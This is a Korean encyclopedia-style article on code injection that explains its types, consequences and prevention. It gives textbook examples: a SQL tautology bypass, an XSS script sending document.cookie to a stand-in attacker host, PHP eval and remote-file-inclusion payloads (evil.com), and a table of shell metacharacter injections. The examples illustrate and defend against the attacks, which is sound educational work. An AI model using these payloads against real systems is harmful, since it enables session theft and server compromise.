코드 인젝션

코드 인젝션(영어: Code injection)은 유효하지 않은 데이터를 실행함으로써 야기되는 소프트웨어 버그의 부당한 사용이다. 삽입은 공격자에 의해서 취약한 컴퓨터 프로그램 코드를 삽입하고 실행을 변경하는 방식으로 이용된다. 성공적인 코드 인젝션은 이것을 이용한 웜의 전파 같이 종종 처참한 결과를 보여준다.

삽입 취약점은 애플리케이션이 인터프리터에 신뢰할 수 없는 데이터를 보낼 때 발생한다. 삽입 취약점은 매우 일반적이며 특히 낡은 코드에서 그렇다. 이것들은 주로 SQL, LDAP, Xpath, 또는 NoSQL 쿼리들(OS 명령어; XML 파서, SMTP 헤더, 인수 등)에서 발견된다. 삽입 취약점은 코드 검사 때에는 발견하기 쉽지만, 테스트 시에는 발견하기 어려운 경우가 많다. 취약점 스캐너와 퍼저들은 공격자가 삽입 취약점을 찾는 것을 도와준다.^[1]

삽입은 데이터 손실이나 오염, 책임의 부족 또는 DoS를 야기한다. 또한 가끔은 완전한 호스트 접수로 이어질 수 있다.

특정한 종류의 코드 인젝션은 단지 유저 입력에 특별한 의미를 주는, 해석에서의 오류이다. 몇몇 종류의 코드 인젝션에서는 사용자 입력과 시스템 명령의 구분에 대한 실패가 존재한다.

코드 인젝션은 해킹이나 크래킹에서 정보를 얻거나 권한 확대 또는 비인가 접근을 위한 인기있는 개념이다. 코드 인젝션은 아래와 같은 많은 악의적인 목적으로 사용될 수 있다.

SQL 삽입은 데이터베이스에 독단적으로 수정된 값을 코드 인젝션하는 것이다. 이 결과는 홈페이지 변조부터 심각한 민감한 정보의 손상까지 다양하다.
서버에 서버 스크립트 코드(PHP나 ASP 같은)를 삽입하여 악성 소프트웨어를 설치하거나 악의적인 코드를 실행한다.
유닉스의 [[setuid]] root 바이너리의 셸 삽입 취약점을 이용하여 root 권한을 얻거나, 윈도우에서 돌아가는 서비스의 취약점을 이용해 Local System을 얻는 방식으로 권한 확대를 한다.
HTML/Script 삽입을 통해 웹 사용자를 공격한다.(사이트 간 스크립팅(XSS)).

코드 인젝션의 양성적인, 의도되지 않은 사용

몇몇 사람들은 코드 인젝션을 좋은 의도로 사용하기도 한다. 예를 들면, 프로그램의 동작을 변경해서 악의적인 목적 없이 장난을 칠 수 있다.

하지만 이 또한 법적으로 문제를 야기할 수 있으며, 의도치 않은 코드인젝션은 어떠한 경우에도 불법임을 인지해야 한다.

코드 인젝션 문제 예방

코드 인젝션 문제를 예방하기 위하여, 아래와 같은 안전한 입출력 처리를 활용한다.

적절히 사용되는 API를 사용하는 것은 모든 문자 입력에 대한 안전한 방법이다. 파라미터화된 쿼리들은 문자열의 사용자 데이터를 감안하여 해석한다.
정적 자료형 체계를 통한 언어 분리 강화^[2]
알려진 좋은 값만 받는 화이트리스트 같은 입력 확인
위험한 문자들로부터 자유롭기 위한 입력 인코딩
HTML 인젝션 (XSS) 공격을 예방하기 위한 출력 인코딩
커널에서의 모듈과 셸 분리

위에 목록화된 해결법들은 주로 웹 관련된 것들을 다룬다. 그러나 사용자 머신에의 사용자 코드 인젝션 같은 접근들도 생각해봐야 한다. 관리되거나 관리되고 있지 않은 코드 인젝션을 탐지하고 분리하는 접근으로는 아래와 같다.

런타임 이미지 해시 확인 - 메모리에 로드된 실행 이미지의 전체나 한 부분의 해시를 캡처해서 저장된 예상 해시값과 비교한다.
NX 비트 - 모든 유저 데이터는 실행 불가능한 특별한 섹션에 저장된다. 프로세서는 이 메모리에 코드가 없게 확인하고 실행이 불가능하도록 한다.

코드 인젝션의 예들

SQL 인젝션

SQL 인젝션은 SQL의 문법을 이용해 데이터베이스의 데이터를 읽거나 수정 또는 원래 쿼리의 의미를 손상시킬 수 있다.

예를 들어서 사용자에게 name과 password라는 두 필드를 입력하게 허용하는 웹 페이지가 있다. 실제 코드는 name과 password를 확인하기 위한 SQL 쿼리를 생성할 것이다.

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

이 쿼리에 문제가 없다면 접근은 허용된다. 그러나 악의적인 사용자는 "password' OR '1'='1" 와 같은 유효한 코드를 추가해서 다음과 같이 보이게 한다.

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

위의 예를 보면 "'1'='1'"는 항상 참이기 때문에 접근은 허용된다.

이 기법은 실행할 또는 외부 프로그램을 로드하고 실행할 수 있게 여러 선언들로 바꿀 수 있다.

HTML 스크립트 삽입

웹 서버는 게스트북 스크립트를 가지는데, 이것은 아래와 같은 메시지를 받는다.

 Very nice site!

그러나 악의적인 사용자의 게스트북의 코드 인젝션 취약점을 알고 다음과 같은 메시지를 작성할 것이다.

Nice site,  I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>

만약 다른 사용자가 이 페이지를 보면 삽입된 코드가 실행될 것이다. 이 코드는 공격자가 다른 사용자인것처럼 가장할 수 있다. 그러나 같은 소프트웨어 버그가 우연히 발생할 수 있는데, 아래와 같은 안좋은 HTML 코드가 그것이다.

 That post was awesome, >:)

HTML/스크립트 삽입은 인기있는 분야이며 "Cross-Site Scripting", 또는 "XSS"로 불린다.

동적 계산(evaluation) 취약점

eval 삽입 취약점은 eval() 함수로 들어가는 문자열 입력을 공격자가 제어할 수 있을 때 발생한다.^[3]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

"eval"의 인자는 PHP에서 실행되므로 추가적인 명령어가 첨부될 수 있다. 예를 들면 "arg"는 "10; system('/bin/echo uh-oh')"로 세팅될 수 있고, 이 경우 이 프로그램을 실행하는 서버는 "/bin/echo"를 실행하게 된다.

객체 삽입

PHP는 객체의 직렬화와 역직렬화를 허용한다. 만약 신뢰되지 않은 입력이 역질렬화 함수에 허용된다면, 악의적인 공격이 가능해진다.^[4]

원격 파일 삽입

PHP 프로그램을 가정하자.

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

이 예시는 단지 blue.php나 red.php 같은 색상 파일들로 여겨지지만, 공격자가 COLOR=http://evil.com/exploit를 작성할 시에는 PHP가 외부 파일을 로드하게 된다.

셸 삽입

셸 삽입은 유닉스 셸의 이름을 땄지만 소프트웨어가 명령 줄 인터페이스를 실행하는 것을 허용한 대부분의 시스템에도 적용될 수 있다. 관련된 함수로는 system()[1], StartProcess(), 그리고 System.Diagnostics.Process.Start()가 있다.

아래의 짧은 PHP 프로그램을 보자. 이것은 funnytext 라는 외부 프로그램을 실행한다.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>

이 프로그램은 다양한 방식으로 삽입 취약점을 사용할 수 있다.

셸 특징	`USER_INPUT` 값	셸 명령어의 결과	예시
Sequential execution	`; malicious_command`	`/bin/funnytext ; malicious_command`	Executes `funnytext`, then executes `malicious_command`.
Pipelines	`\| malicious_command`	`/bin/funnytext \| malicious_command`	Sends the output of `funnytext` as input to `malicious_command`.
Command substitution	`malicious_command`	/bin/funnytext `malicious_command`	Sends the output of `malicious_command` as arguments to `funnytext`.
Command substitution	`$(malicious_command)`	`/bin/funnytext $(malicious_command)`	Sends the output of `malicious_command` as arguments to `funnytext`.
AND list	`&& malicious_command`	`/bin/funnytext && malicious_command`	Executes `malicious_command` iff `funnytext` returns an exit status of 0 (success).
OR list	`\|\| malicious_command`	`/bin/funnytext \|\| malicious_command`	Executes `malicious_command` iff `funnytext` returns a nonzero exit status (error).
Output redirection	`> ~/.bashrc`	`/bin/funnytext > ~/.bashrc`	Overwrites the contents the `.bashrc` file with the output of `funnytext`.
Input redirection	`< ~/.bashrc`	`/bin/funnytext < ~/.bashrc`	Sends the contents of the `.bashrc` file as input to `funnytext`.

같이 보기

각주

↑ “OWASP Top 10 2013 A1: Injection Flaws”. OWASP. 2016년 1월 28일에 원본 문서에서 보존된 문서. 2016년 2월 11일에 확인함.
↑ http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html
↑ Christey, Steven M. (2006년 5월 3일). “Dynamic Evaluation Vulnerabilities in PHP applications”. Insecure.org. 2016년 2월 11일에 확인함.
↑ “Unserialize function warnings”. PHP.net.

외부 링크

Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
Article "Inject your code to a Portable Executable file" by A. Danehkar
Article "Injective Code inside Import Table" by A. Danehkar
Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
The Daily WTF regularly reports real-world incidences of susceptibility to code injection in software.

[OWASP10_A1-1] “OWASP Top 10 2013 A1: Injection Flaws”. OWASP. 2016년 1월 28일에 원본 문서에서 보존된 문서. 2016년 2월 11일에 확인함.

[types-2] ttp://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html

[3] Christey, Steven M. (2006년 5월 3일). “Dynamic Evaluation Vulnerabilities in PHP applications”. Insecure.org. 2016년 2월 11일에 확인함.

[4] “Unserialize function warnings”. PHP.net.

[1]

[2]

[3]

[4]